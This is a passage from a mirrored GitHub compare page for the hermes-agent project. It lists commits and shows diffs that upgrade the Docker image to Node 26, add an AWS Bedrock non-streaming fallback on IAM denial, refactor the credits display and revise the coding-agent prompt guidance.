mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-06-21 17:41:08 +08:00
Compare commits
244 Commits
fix/window
...
feat/opent
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6331a12ecd | ||
|
|
463eda6276 | ||
|
|
a77e2083c5 | ||
|
|
2a28bbcc72 | ||
|
|
3d1691c48b | ||
|
|
27a455d301 | ||
|
|
7d5fe2c39f | ||
|
|
2402e7777c | ||
|
|
a14d44482e | ||
|
|
e9fe618fce | ||
|
|
fc0774b7f2 | ||
|
|
3d7a64c383 | ||
|
|
8356b10afa | ||
|
|
24f74eb888 | ||
|
|
6e41ca956b | ||
|
|
f0ec24ad50 | ||
|
|
ed2cffd450 | ||
|
|
50059ea403 | ||
|
|
6db65e687c | ||
|
|
09bcf5a937 | ||
|
|
22434f4d07 | ||
|
|
dc57ad98db | ||
|
|
44c896a5e2 | ||
|
|
6f5f7457fe | ||
|
|
dc3c7dc405 | ||
|
|
360388f627 | ||
|
|
375899f89c | ||
|
|
fd956d3189 | ||
|
|
fcbe525a63 | ||
|
|
f7381800f7 | ||
|
|
411334b3d0 | ||
|
|
4d67ac6172 | ||
|
|
6c00077d38 | ||
|
|
9e484f052a | ||
|
|
ab06ef8ed6 | ||
|
|
afe53708ee | ||
|
|
5affecb443 | ||
|
|
96cc7ee1e3 | ||
|
|
880107ab24 | ||
|
|
4ddb03390a | ||
|
|
c6007e5c1a | ||
|
|
e2145a5c9c | ||
|
|
55a18e6860 | ||
|
|
b097d7b033 | ||
|
|
cc726aad68 | ||
|
|
81436e143e | ||
|
|
9ff0ba0827 | ||
|
|
e3ed7722b5 | ||
|
|
7a2d498b9d | ||
|
|
e96fe06e49 | ||
|
|
9102d4a588 | ||
|
|
d221e369b8 | ||
|
|
b1fe2107d6 | ||
|
|
73969771a5 | ||
|
|
2ee69d0579 | ||
|
|
021ed69141 | ||
|
|
6c752ca3a5 | ||
|
|
acb2954d82 | ||
|
|
8f8cad7ec5 | ||
|
|
d5e2fbf244 | ||
|
|
484f484c25 | ||
|
|
114e265737 | ||
|
|
32a73010bb | ||
|
|
93764b9303 | ||
|
|
c3464ecf45 | ||
|
|
e080365a7a | ||
|
|
5e5308d34d | ||
|
|
08b1c44a53 | ||
|
|
020ef76cf1 | ||
|
|
13650ab7f8 | ||
|
|
4e9be3ee32 | ||
|
|
e7ae145ac4 | ||
|
|
ce99a81123 | ||
|
|
743c55efa3 | ||
|
|
93a2f680fd | ||
|
|
8505e9d669 | ||
|
|
a4f179c509 | ||
|
|
cb29e8a82e | ||
|
|
3c489fda81 | ||
|
|
e8b757845d | ||
|
|
e976faac7a | ||
|
|
1593ca5406 | ||
|
|
9a09ea69fb | ||
|
|
4d6a133a9f | ||
|
|
c7bfc938d5 | ||
|
|
9121834b31 | ||
|
|
56a0f48ba6 | ||
|
|
8878484f85 | ||
|
|
db79e90130 | ||
|
|
51f47f9a97 | ||
|
|
e71d746820 | ||
|
|
5508f4bc54 | ||
|
|
b2043cf157 | ||
|
|
dca11b6650 | ||
|
|
ee1a744ace | ||
|
|
9c051f57c3 | ||
|
|
e24c935cf3 | ||
|
|
b1af653bf6 | ||
|
|
e372803554 | ||
|
|
d0e017bac8 | ||
|
|
fcf49f313e | ||
|
|
6c76908fde | ||
|
|
7776aeb064 | ||
|
|
ad16ec9c53 | ||
|
|
de446a26a5 | ||
|
|
af1e4bb9ab | ||
|
|
22792d2791 | ||
|
|
cbe703cf48 | ||
|
|
5c6438fd28 | ||
|
|
448e6ee68f | ||
|
|
805e08081f | ||
|
|
fe50861c2e | ||
|
|
e3973050df | ||
|
|
a939c9a712 | ||
|
|
e35d953a45 | ||
|
|
197d499480 | ||
|
|
14ee1a52c0 | ||
|
|
50e34713b6 | ||
|
|
e9af6a5110 | ||
|
|
4f66a7cf09 | ||
|
|
5f997247d9 | ||
|
|
ccc89a327d | ||
|
|
408789d909 | ||
|
|
a089614451 | ||
|
|
7592b996a6 | ||
|
|
380f0b53dd | ||
|
|
62537a99bf | ||
|
|
ee4fb837ed | ||
|
|
ddf4cca5c0 | ||
|
|
9122ffffc5 | ||
|
|
ebb58f750c | ||
|
|
b957dc6f72 | ||
|
|
018c8fb17f | ||
|
|
7e3936f47d | ||
|
|
2f666d2e9b | ||
|
|
c146a69b1d | ||
|
|
773690b1f7 | ||
|
|
ddfff88a58 | ||
|
|
443a1be509 | ||
|
|
d96657e2dc | ||
|
|
0e65d54b6d | ||
|
|
3ebcc3439e | ||
|
|
f86bc5170a | ||
|
|
529d8084be | ||
|
|
daa4412378 | ||
|
|
7ad05a3129 | ||
|
|
4d1d1e8f52 | ||
|
|
0bceb219e6 | ||
|
|
579fb58e86 | ||
|
|
91df325458 | ||
|
|
43b096eedb | ||
|
|
394f45a3d5 | ||
|
|
6a6693b182 | ||
|
|
03b16c51a6 | ||
|
|
ac84fe7ea1 | ||
|
|
afe5152314 | ||
|
|
5fd2b5bb7b | ||
|
|
0bde6a890f | ||
|
|
e17e94c8de | ||
|
|
99d163a8ae | ||
|
|
b537a3ba50 | ||
|
|
e7e8c820fc | ||
|
|
8c26b14931 | ||
|
|
a38152cd91 | ||
|
|
7af4055ddc | ||
|
|
de9f3effbb | ||
|
|
ac7ab6c0c0 | ||
|
|
8580172d11 | ||
|
|
af98e6deef | ||
|
|
52aa2f98f9 | ||
|
|
fb1fb1e5ca | ||
|
|
87b33cb10c | ||
|
|
51031ec655 | ||
|
|
edc6e67add | ||
|
|
2d3cf85d67 | ||
|
|
8f112b0633 | ||
|
|
216790a8f8 | ||
|
|
2a25c1c40b | ||
|
|
d0b14bc6ef | ||
|
|
c70620e4a0 | ||
|
|
2b1564199c | ||
|
|
fdc0e5fea5 | ||
|
|
b3d2de87f9 | ||
|
|
cff7b365d2 | ||
|
|
0240299fb0 | ||
|
|
2f30c09378 | ||
|
|
90840708f1 | ||
|
|
60f47eab37 | ||
|
|
04704c103e | ||
|
|
6d2211d9d0 | ||
|
|
cdeef30c62 | ||
|
|
3d3fc24d9a | ||
|
|
2e31140728 | ||
|
|
f4a83c9298 | ||
|
|
00cb21de3e | ||
|
|
0437dd060c | ||
|
|
bc9447d23b | ||
|
|
79dc862680 | ||
|
|
01fa8dcc00 | ||
|
|
3882cc6e61 | ||
|
|
6b87243ecd | ||
|
|
49d90e68c6 | ||
|
|
2cd122c9c1 | ||
|
|
53438228ee | ||
|
|
503c1201ff | ||
|
|
e44b43ad16 | ||
|
|
cd09aa61ef | ||
|
|
c507ca6b3b | ||
|
|
d90e195670 | ||
|
|
793462a395 | ||
|
|
636bb6e928 | ||
|
|
0da48b0c7f | ||
|
|
50023fd151 | ||
|
|
5352aec064 | ||
|
|
7b14c51e7b | ||
|
|
8c1b62e72f | ||
|
|
e136314039 | ||
|
|
73d5c2871d | ||
|
|
d46a8f4492 | ||
|
|
eaee382b47 | ||
|
|
59e9e6a26e | ||
|
|
a046cee754 | ||
|
|
15ccaf9ab9 | ||
|
|
c391add579 | ||
|
|
1e55b3b294 | ||
|
|
76cf809066 | ||
|
|
915b9b5f6f | ||
|
|
1bf9dff1fb | ||
|
|
e14dfa86c6 | ||
|
|
055bc3e3a2 | ||
|
|
c019a9d2d5 | ||
|
|
99b24f6747 | ||
|
|
d4d7c9b0ae | ||
|
|
ba10594322 | ||
|
|
0d0e9203cf | ||
|
|
abdc21f39a | ||
|
|
87634e19fd | ||
|
|
d01b573796 | ||
|
|
a572a1eae4 | ||
|
|
b72ac77783 | ||
|
|
53b37463c4 | ||
|
|
cc2c881fd1 | ||
|
|
12342a4bce | ||
|
|
ea0de82422 |
3
.gitignore
vendored
3
.gitignore
vendored
@@ -89,6 +89,9 @@ website/static/api/skills-index.json
|
||||
# every build).
|
||||
website/static/api/skills.json
|
||||
website/static/api/skills-meta.json
|
||||
# automation-blueprints-index.json is a build artifact emitted by
|
||||
# website/scripts/extract-automation-blueprints.py during prebuild.
|
||||
website/static/api/automation-blueprints-index.json
|
||||
models-dev-upstream/
|
||||
|
||||
# Local editor / agent tooling (machine-specific; keep in global config, not the repo)
|
||||
|
||||
32
Dockerfile
32
Dockerfile
@@ -1,12 +1,14 @@
|
||||
FROM ghcr.io/astral-sh/uv:0.11.6-python3.13-trixie@sha256:b3c543b6c4f23a5f2df22866bd7857e5d304b67a564f4feab6ac22044dde719b AS uv_source
|
||||
# Node 22 LTS source stage. Debian trixie's bundled nodejs is pinned to 20.x
|
||||
# which reached EOL in April 2026 — we copy node + npm + corepack from the
|
||||
# upstream node:22 image instead so we can stay on a supported LTS without
|
||||
# waiting for Debian 14 (forky, ~mid-2027). Bookworm-based slim image used
|
||||
# so the produced binary links against glibc 2.36, which runs cleanly on
|
||||
# our Debian 13 (trixie, glibc 2.41) runtime. Bumping to a new Node major
|
||||
# is a one-line ARG change; see #4977.
|
||||
FROM node:22-bookworm-slim@sha256:7af03b14a13c8cdd38e45058fd957bf00a72bbe17feac43b1c15a689c029c732 AS node_source
|
||||
# Node 26 source stage. Debian trixie's bundled nodejs is pinned to 20.x
|
||||
# (EOL April 2026), so we copy node + npm + corepack from the upstream node:26
|
||||
# image instead. Node 26 (Current; LTS promotion ~Oct 2026) is REQUIRED by the
|
||||
# native OpenTUI TUI engine, which loads its renderer via the experimental
|
||||
# `node:ffi` API that only exists on Node 26.3+ (the Ink engine + web build run
|
||||
# on it too). Bookworm-based slim image used so the produced binary links
|
||||
# against glibc 2.36, which runs cleanly on our Debian 13 (trixie, glibc 2.41)
|
||||
# runtime. The pinned tag ships v26.3.0. Bumping Node is a one-line change here.
|
||||
# NOTE: verify the full image build + Ink/web/Playwright on Node 26 in CI.
|
||||
FROM node:26-bookworm-slim@sha256:79723b41edbedf595f62e943a9f8b0ba9af5b1e61045c5f8f59c2c02c1212a16 AS node_source
|
||||
FROM debian:13.4
|
||||
|
||||
# Disable Python stdout buffering to ensure logs are printed immediately
|
||||
@@ -90,7 +92,7 @@ RUN useradd -u 10000 -m -d /opt/data hermes
|
||||
|
||||
COPY --chmod=0755 --from=uv_source /usr/local/bin/uv /usr/local/bin/uvx /usr/local/bin/
|
||||
|
||||
# Node 22 LTS: copy the node binary plus the bundled npm + corepack JS
|
||||
# Node 26: copy the node binary plus the bundled npm + corepack JS
|
||||
# installs from the upstream image. npm and npx are recreated as symlinks
|
||||
# because they're symlinks in the source image (and need to live on PATH).
|
||||
# See node_source stage at the top of the file for the version-bump
|
||||
@@ -119,7 +121,7 @@ COPY ui-tui/packages/hermes-ink/ ui-tui/packages/hermes-ink/
|
||||
|
||||
# `npm_config_install_links=false` forces npm to install `file:` deps as
|
||||
# symlinks instead of copies. This is the default since npm 10+, which is
|
||||
# what the image ships now (via the node:22 source stage). We set it
|
||||
# what the image ships now (via the node:26 source stage). We set it
|
||||
# explicitly anyway as defense-in-depth: the previous Debian-bundled npm
|
||||
# 9.x defaulted to install-as-copy, which produced a hidden
|
||||
# node_modules/.package-lock.json that permanently disagreed with the root
|
||||
@@ -181,8 +183,16 @@ RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra
|
||||
# invalidate the (relatively slow) web + ui-tui build layer.
|
||||
COPY web/ web/
|
||||
COPY ui-tui/ ui-tui/
|
||||
COPY ui-opentui/ ui-opentui/
|
||||
# ui-opentui is the opt-in native OpenTUI engine (HERMES_TUI_ENGINE=opentui;
|
||||
# default stays Ink). .dockerignore strips its node_modules/dist, so install +
|
||||
# esbuild-build it here -> dist/main.js, then prune devDeps (esbuild/babel/
|
||||
# vitest); the runtime only needs the prod deps (the external @opentui/core +
|
||||
# its native blob -- the bundle inlines solid/effect). Build needs Node 26.3
|
||||
# (node:ffi floor), which this image ships.
|
||||
RUN cd web && npm run build && \
|
||||
cd ../ui-tui && npm run build
|
||||
cd ../ui-tui && npm run build && \
|
||||
cd ../ui-opentui && npm install --no-audit --no-fund && npm run build && npm prune --omit=dev
|
||||
|
||||
# ---------- Source code ----------
|
||||
# .dockerignore excludes node_modules, so the installs above survive.
|
||||
|
||||
@@ -107,6 +107,8 @@ You can still bring your own keys per-tool whenever you want — the gateway is
|
||||
|
||||
Hermes has two entry points: start the terminal UI with `hermes`, or run the gateway and talk to it from Telegram, Discord, Slack, WhatsApp, Signal, or Email. Once you're in a conversation, many slash commands are shared across both interfaces.
|
||||
|
||||
> **TUI engine:** On supported hosts (Linux/macOS with Node 26.3+), the terminal UI defaults to the native **OpenTUI** engine, which the installer provisions for you. The legacy **Ink** engine remains the fallback — it's used automatically on Windows, Termux, or when the native engine can't run, and you can select it explicitly with `HERMES_TUI_ENGINE=ink hermes`. Ink is not going away; it's the kept fallback.
|
||||
|
||||
| Action | CLI | Messaging platforms |
|
||||
| ------------------------------ | --------------------------------------------- | -------------------------------------------------------------------------------- |
|
||||
| Start chatting | `hermes` | Run `hermes gateway setup` + `hermes gateway start`, then send the bot a message |
|
||||
|
||||
@@ -242,6 +242,17 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
renders from that fixture instead of the real portal (so the block + gauge are
|
||||
testable without a live account). Throwaway scaffolding.
|
||||
"""
|
||||
snapshot = _fetch_nous_credits_snapshot(timeout=timeout)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
|
||||
|
||||
def _fetch_nous_credits_snapshot(timeout: float = 10.0) -> Optional[AccountUsageSnapshot]:
|
||||
"""Auth-gate + portal fetch + snapshot build for the Nous credits block.
|
||||
|
||||
Shared by ``nous_credits_lines`` (full block) and
|
||||
``nous_credits_compact_line`` (one-liner). Honors the
|
||||
HERMES_DEV_CREDITS_FIXTURE dev override. Fail-open → None.
|
||||
"""
|
||||
# Dev fixture short-circuit — render /usage from the injected state, no portal.
|
||||
try:
|
||||
from agent.credits_tracker import dev_fixture_credits_state
|
||||
@@ -250,17 +261,16 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
except Exception:
|
||||
fixture = None
|
||||
if fixture is not None:
|
||||
snapshot = _snapshot_from_credits_state(fixture)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
return _snapshot_from_credits_state(fixture)
|
||||
|
||||
try:
|
||||
from hermes_cli.auth import get_provider_auth_state
|
||||
|
||||
tok = (get_provider_auth_state("nous") or {}).get("access_token")
|
||||
if not (isinstance(tok, str) and tok.strip()):
|
||||
return []
|
||||
return None
|
||||
except Exception:
|
||||
return []
|
||||
return None
|
||||
try:
|
||||
import concurrent.futures
|
||||
|
||||
@@ -270,13 +280,36 @@ def nous_credits_lines(*, markdown: bool = False, timeout: float = 10.0) -> list
|
||||
account = pool.submit(
|
||||
get_nous_portal_account_info, force_fresh=True
|
||||
).result(timeout=timeout)
|
||||
snapshot = build_nous_credits_snapshot(account)
|
||||
return render_account_usage_lines(snapshot, markdown=markdown)
|
||||
return build_nous_credits_snapshot(account)
|
||||
except Exception:
|
||||
# Fail-open (caller shows nothing), but leave a breadcrumb so a dead
|
||||
# /usage credits block is diagnosable in agent.log without a dev flag.
|
||||
logger.debug("credits ▸ /usage portal fetch/render failed (fail-open)", exc_info=True)
|
||||
return []
|
||||
return None
|
||||
|
||||
|
||||
def nous_credits_compact_line(*, timeout: float = 10.0) -> Optional[str]:
|
||||
"""One-line Nous credits summary for the compact /usage view, or None.
|
||||
|
||||
Condenses the snapshot's own detail strings (stable, locally-built
|
||||
formats) into ``Nous credits (Plan): Total usable: $X · Renews: …``.
|
||||
Same gating/fail-open semantics as ``nous_credits_lines``.
|
||||
"""
|
||||
snap = _fetch_nous_credits_snapshot(timeout=timeout)
|
||||
if snap is None or not snap.available:
|
||||
return None
|
||||
picked = [
|
||||
d for d in snap.details
|
||||
if d.startswith(("Total usable:", "Renews:", "Status:"))
|
||||
]
|
||||
if not picked:
|
||||
picked = [d for d in snap.details if not d.startswith("Manage / top up:")][:2]
|
||||
if not picked:
|
||||
return None
|
||||
title = snap.title
|
||||
if snap.plan:
|
||||
title += f" ({snap.plan})"
|
||||
return f"{title}: " + " · ".join(picked)
|
||||
|
||||
|
||||
def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
|
||||
|
||||
@@ -1624,6 +1624,12 @@ def init_agent(
|
||||
agent.session_cache_write_tokens = 0
|
||||
agent.session_reasoning_tokens = 0
|
||||
agent.session_estimated_cost_usd = 0.0
|
||||
# Provider-REPORTED cost only (e.g. OpenRouter usage.cost). None means
|
||||
# "nothing reported" — distinct from a real $0.00.
|
||||
agent.session_actual_cost_usd = None
|
||||
# Per-model session usage rows for /usage: {model: {calls, input, output,
|
||||
# cache_read, cache_write, cost_usd|None}}.
|
||||
agent.session_model_usage = {}
|
||||
agent.session_cost_status = "unknown"
|
||||
agent.session_cost_source = "none"
|
||||
|
||||
|
||||
@@ -679,15 +679,28 @@ def recover_with_credential_pool(
|
||||
# long-running TUI sessions stuck on stale tokens until the user
|
||||
# exited and reopened.
|
||||
is_entitlement = agent._is_entitlement_failure(error_context, status_code)
|
||||
_auth_haystack = " ".join(
|
||||
str(error_context.get(k) or "").lower()
|
||||
for k in ("message", "reason", "code", "error")
|
||||
if isinstance(error_context, dict)
|
||||
)
|
||||
if (
|
||||
not is_entitlement
|
||||
and status_code == 403
|
||||
and "oauth authentication is currently not allowed for this organization" in _auth_haystack
|
||||
):
|
||||
is_entitlement = True
|
||||
if (
|
||||
not is_entitlement
|
||||
and status_code == 403
|
||||
and (agent.provider or "") == "anthropic"
|
||||
and getattr(agent, "api_mode", "") == "anthropic_messages"
|
||||
):
|
||||
is_entitlement = True
|
||||
if not is_entitlement and status_code == 403 and (agent.provider or "") == "xai-oauth":
|
||||
_disambiguator_haystack = " ".join(
|
||||
str(error_context.get(k) or "").lower()
|
||||
for k in ("message", "reason", "code", "error")
|
||||
if isinstance(error_context, dict)
|
||||
)
|
||||
_is_xai_auth_failure = (
|
||||
"[wke=unauthenticated:" in _disambiguator_haystack
|
||||
or "oauth2 access token could not be validated" in _disambiguator_haystack
|
||||
"[wke=unauthenticated:" in _auth_haystack
|
||||
or "oauth2 access token could not be validated" in _auth_haystack
|
||||
)
|
||||
if not _is_xai_auth_failure:
|
||||
is_entitlement = True
|
||||
|
||||
@@ -208,6 +208,41 @@ def is_stale_connection_error(exc: BaseException) -> bool:
|
||||
return False
|
||||
|
||||
|
||||
def is_streaming_access_denied_error(exc: BaseException) -> bool:
|
||||
"""Return True when AWS denied the ``bedrock:InvokeModelWithResponseStream`` action.
|
||||
|
||||
IAM policies scoped to ``bedrock:InvokeModel`` only (a common least-privilege
|
||||
setup) reject ``converse_stream()`` with an ``AccessDeniedException`` whose
|
||||
message names the streaming action, e.g.::
|
||||
|
||||
User: arn:aws:iam::123456789012:user/x is not authorized to perform:
|
||||
bedrock:InvokeModelWithResponseStream on resource: ...
|
||||
|
||||
This is permanent for the session — retrying the stream can never succeed —
|
||||
so callers should flip to the non-streaming ``converse()`` path (which maps
|
||||
to ``bedrock:InvokeModel``) instead of burning retries.
|
||||
|
||||
Detection is deliberately message-based: boto3 surfaces this as a
|
||||
``ClientError`` with ``Error.Code == "AccessDeniedException"``, and the
|
||||
AnthropicBedrock SDK wraps the same AWS response in its own exception
|
||||
types, but both preserve the action name in the message.
|
||||
"""
|
||||
msg = str(exc).lower()
|
||||
if "invokemodelwithresponsestream" not in msg:
|
||||
return False
|
||||
# ClientError with an explicit access-denied code is the canonical form.
|
||||
try:
|
||||
from botocore.exceptions import ClientError
|
||||
except ImportError: # pragma: no cover — botocore always present with boto3
|
||||
ClientError = None # type: ignore[assignment]
|
||||
if ClientError is not None and isinstance(exc, ClientError):
|
||||
code = (getattr(exc, "response", None) or {}).get("Error", {}).get("Code", "")
|
||||
return code in ("AccessDeniedException", "UnauthorizedException")
|
||||
# Wrapped forms (e.g. AnthropicBedrock SDK PermissionDeniedError) — match
|
||||
# on the authorization-failure phrasing AWS uses.
|
||||
return "not authorized" in msg or "accessdenied" in msg
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# AWS credential detection
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -1003,6 +1038,16 @@ def call_converse_stream(
|
||||
try:
|
||||
response = client.converse_stream(**kwargs)
|
||||
except Exception as exc:
|
||||
if is_streaming_access_denied_error(exc):
|
||||
# IAM allows bedrock:InvokeModel but not
|
||||
# InvokeModelWithResponseStream — permanent for this session.
|
||||
# Fall back to the non-streaming converse() path.
|
||||
logger.info(
|
||||
"bedrock: converse_stream denied by IAM on (region=%s, model=%s) — "
|
||||
"falling back to non-streaming converse().",
|
||||
region, model,
|
||||
)
|
||||
return normalize_converse_response(client.converse(**kwargs))
|
||||
if is_stale_connection_error(exc):
|
||||
logger.warning(
|
||||
"bedrock: stale-connection error on converse_stream(region=%s, "
|
||||
|
||||
@@ -1615,6 +1615,8 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
_get_bedrock_runtime_client,
|
||||
invalidate_runtime_client,
|
||||
is_stale_connection_error,
|
||||
is_streaming_access_denied_error,
|
||||
normalize_converse_response,
|
||||
stream_converse_with_callbacks,
|
||||
)
|
||||
region = api_kwargs.pop("__bedrock_region__", "us-east-1")
|
||||
@@ -1623,6 +1625,29 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
try:
|
||||
raw_response = client.converse_stream(**api_kwargs)
|
||||
except Exception as _bedrock_exc:
|
||||
# IAM policies scoped to bedrock:InvokeModel only (no
|
||||
# InvokeModelWithResponseStream) reject converse_stream()
|
||||
# with AccessDeniedException. That denial is permanent for
|
||||
# the session — fall back to the non-streaming converse()
|
||||
# inline (it maps to bedrock:InvokeModel) and disable
|
||||
# streaming for subsequent calls so we don't re-fail every
|
||||
# turn.
|
||||
if is_streaming_access_denied_error(_bedrock_exc):
|
||||
agent._disable_streaming = True
|
||||
agent._safe_print(
|
||||
"\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream — "
|
||||
"falling back to non-streaming InvokeModel.\n"
|
||||
" Grant that action to restore streaming output.\n"
|
||||
)
|
||||
logger.info(
|
||||
"bedrock: converse_stream denied by IAM (%s) — "
|
||||
"using non-streaming converse() for this session.",
|
||||
type(_bedrock_exc).__name__,
|
||||
)
|
||||
result["response"] = normalize_converse_response(
|
||||
client.converse(**api_kwargs)
|
||||
)
|
||||
return
|
||||
# Evict the cached client on stale-connection failures
|
||||
# so the outer retry loop builds a fresh client/pool.
|
||||
if is_stale_connection_error(_bedrock_exc):
|
||||
@@ -2424,9 +2449,34 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta=
|
||||
"stream" in _err_lower
|
||||
and "not supported" in _err_lower
|
||||
)
|
||||
if _is_stream_unsupported:
|
||||
# AWS Bedrock (AnthropicBedrock SDK path): IAM policies
|
||||
# with bedrock:InvokeModel but not
|
||||
# InvokeModelWithResponseStream reject messages.stream()
|
||||
# with a permission error naming the streaming action.
|
||||
# Permanent for the session — flip to non-streaming
|
||||
# (messages.create() maps to bedrock:InvokeModel).
|
||||
_is_bedrock_stream_denied = False
|
||||
if (
|
||||
not _is_stream_unsupported
|
||||
and "invokemodelwithresponsestream" in _err_lower
|
||||
):
|
||||
# Cheap message pre-check before importing the
|
||||
# adapter — bedrock_adapter triggers a lazy boto3
|
||||
# install at import time, which must not run for
|
||||
# unrelated providers' stream errors.
|
||||
from agent.bedrock_adapter import (
|
||||
is_streaming_access_denied_error,
|
||||
)
|
||||
_is_bedrock_stream_denied = (
|
||||
is_streaming_access_denied_error(e)
|
||||
)
|
||||
if _is_stream_unsupported or _is_bedrock_stream_denied:
|
||||
agent._disable_streaming = True
|
||||
agent._safe_print(
|
||||
"\n⚠ AWS IAM denied bedrock:InvokeModelWithResponseStream. "
|
||||
"Switching to non-streaming.\n"
|
||||
" Grant that action to restore streaming output.\n"
|
||||
if _is_bedrock_stream_denied else
|
||||
"\n⚠ Streaming is not supported for this "
|
||||
"model/provider. Switching to non-streaming.\n"
|
||||
" To avoid this delay, set display.streaming: false "
|
||||
|
||||
@@ -40,9 +40,11 @@ Activation (config ``agent.coding_context``):
|
||||
|
||||
* ``auto`` (default) — posture (brief + snapshot) on an interactive coding
|
||||
surface sitting in a code workspace (git repo or recognised project root).
|
||||
Prompt-only; toolsets untouched.
|
||||
Prompt-only; toolsets and the skill index untouched.
|
||||
* ``focus`` — like ``auto``, but additionally collapses the toolset to the
|
||||
``coding`` set + enabled MCP servers. Explicit opt-in for a lean schema.
|
||||
``coding`` set + enabled MCP servers and demotes non-coding skill
|
||||
categories to names-only in the prompt's skill index (no skill is ever
|
||||
hidden). Explicit opt-in for a lean schema.
|
||||
* ``on`` — force the posture anywhere (incl. non-workspaces). Prompt-only.
|
||||
* ``off`` — disable entirely.
|
||||
"""
|
||||
@@ -104,13 +106,19 @@ _GIT_TIMEOUT = 2.5
|
||||
# multi-file) and mode="replace" (find-and-swap). We nudge each family toward
|
||||
# its native format. Unknown families get nothing (the brief's neutral wording
|
||||
# stands). Substrings match the model id; aligned with TOOL_USE_ENFORCEMENT_MODELS.
|
||||
#
|
||||
# GPT/Codex get V4A for ALL edits, single-file included: in codex-rs,
|
||||
# apply_patch (V4A — apply_patch.lark) is the ONLY file editor, no
|
||||
# str_replace-style tool exists, and the shipped model prompts say to use
|
||||
# apply_patch even "for single file edits" — so a replace-mode nudge would
|
||||
# steer those models toward a format their first-party harness never taught
|
||||
# them.
|
||||
_EDIT_FORMAT_GUIDANCE: dict[str, tuple[tuple[str, ...], str]] = {
|
||||
"patch": (
|
||||
("gpt", "codex"),
|
||||
"- Edit format: author new files with `write_file`; for edits to "
|
||||
"existing code prefer `patch` with `mode='patch'` (V4A multi-file diff) "
|
||||
"for structured or multi-file changes — it's the diff format you handle "
|
||||
"most reliably. Use `mode='replace'` for a single small swap.",
|
||||
"existing code use `patch` with `mode='patch'` (V4A diff) — including "
|
||||
"single-file edits. It's the edit format you handle most reliably.",
|
||||
),
|
||||
"replace": (
|
||||
("claude", "sonnet", "opus", "haiku",
|
||||
@@ -182,6 +190,10 @@ CODING_AGENT_GUIDANCE = (
|
||||
"Verify, and know when to stop:\n"
|
||||
"- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
|
||||
"tests/linter/build and confirm they pass before claiming the work is done.\n"
|
||||
"- Terminal state persists across calls: current directory and exported "
|
||||
"environment variables carry forward. Activate a virtualenv or export setup "
|
||||
"vars once, then reuse that state instead of re-sourcing it before every "
|
||||
"test command.\n"
|
||||
"- Fix root causes, not symptoms: when you find a bug, check sibling call "
|
||||
"paths for the same flaw and fix the class, not just the reported site.\n"
|
||||
"- When fixing linter/type errors on a file, stop after about three "
|
||||
@@ -212,11 +224,13 @@ class ContextProfile:
|
||||
``model_hint`` — routing preference key for smart model routing
|
||||
(extension seam; not yet consumed by the router).
|
||||
``memory_policy``— memory namespace/weighting hint (extension seam).
|
||||
``hidden_skill_categories`` — skill categories pruned from the system-prompt
|
||||
skill index while this posture is active. Discovery-only:
|
||||
nothing is disabled — ``skills_list`` still returns the
|
||||
full catalog and ``skill_view`` loads anything. Deny-list
|
||||
semantics so unknown/custom categories stay visible.
|
||||
``compact_skill_categories`` — skill categories DEMOTED to names-only in
|
||||
the system-prompt skill index under the opt-in ``focus``
|
||||
mode. Never hidden: every skill name stays visible
|
||||
(so memory-anchored recall keeps working) — only the
|
||||
descriptions are dropped to cut index noise. Deny-list
|
||||
semantics so unknown/custom categories keep full
|
||||
entries.
|
||||
"""
|
||||
|
||||
name: str
|
||||
@@ -224,14 +238,14 @@ class ContextProfile:
|
||||
guidance: str = ""
|
||||
model_hint: Optional[str] = None
|
||||
memory_policy: str = "default"
|
||||
hidden_skill_categories: tuple[str, ...] = ()
|
||||
compact_skill_categories: tuple[str, ...] = ()
|
||||
|
||||
|
||||
# Skill categories that are clearly not part of a coding workflow. Hidden from
|
||||
# the prompt's skill index in the coding posture (deny-list — anything not
|
||||
# listed here, incl. custom user categories, stays visible). Coding-adjacent
|
||||
# categories (devops, github, mcp, data-science, diagramming, research,
|
||||
# security, …) are intentionally absent.
|
||||
# Skill categories that are clearly not part of a coding workflow. Demoted to
|
||||
# names-only in the prompt's skill index under the opt-in ``focus`` mode only
|
||||
# (deny-list — anything not listed here, incl. custom user categories, keeps
|
||||
# full entries). Coding-adjacent categories (devops, github, mcp,
|
||||
# data-science, diagramming, research, security, …) are intentionally absent.
|
||||
_NON_CODING_SKILL_CATEGORIES = (
|
||||
"apple", "communication", "cooking", "creative", "email", "finance",
|
||||
"gaming", "gifs", "health", "media", "music", "note-taking",
|
||||
@@ -247,7 +261,7 @@ CODING_PROFILE = ContextProfile(
|
||||
guidance=CODING_AGENT_GUIDANCE,
|
||||
model_hint="coding",
|
||||
memory_policy="project",
|
||||
hidden_skill_categories=_NON_CODING_SKILL_CATEGORIES,
|
||||
compact_skill_categories=_NON_CODING_SKILL_CATEGORIES,
|
||||
)
|
||||
|
||||
_PROFILES: dict[str, ContextProfile] = {
|
||||
@@ -432,9 +446,27 @@ class RuntimeMode:
|
||||
blocks.append(workspace)
|
||||
return blocks
|
||||
|
||||
def hidden_skill_categories(self) -> frozenset[str]:
|
||||
"""Skill categories to prune from the prompt's skill index (may be empty)."""
|
||||
return frozenset(self.profile.hidden_skill_categories)
|
||||
def compact_skill_categories(self) -> frozenset[str]:
|
||||
"""Skill categories to demote to names-only in the prompt's skill index.
|
||||
|
||||
Gated on the opt-in ``focus`` mode, like the toolset collapse: the
|
||||
default posture leaves the skill index untouched. Users who didn't ask
|
||||
for a lean prompt keep full entries for every category — index changes
|
||||
under ``auto`` proved too surprising in practice, even names-only ones
|
||||
(a demoted description is information the model no longer weighs when
|
||||
deciding what to load).
|
||||
|
||||
Demoted — never hidden — even under ``focus``. An earlier revision
|
||||
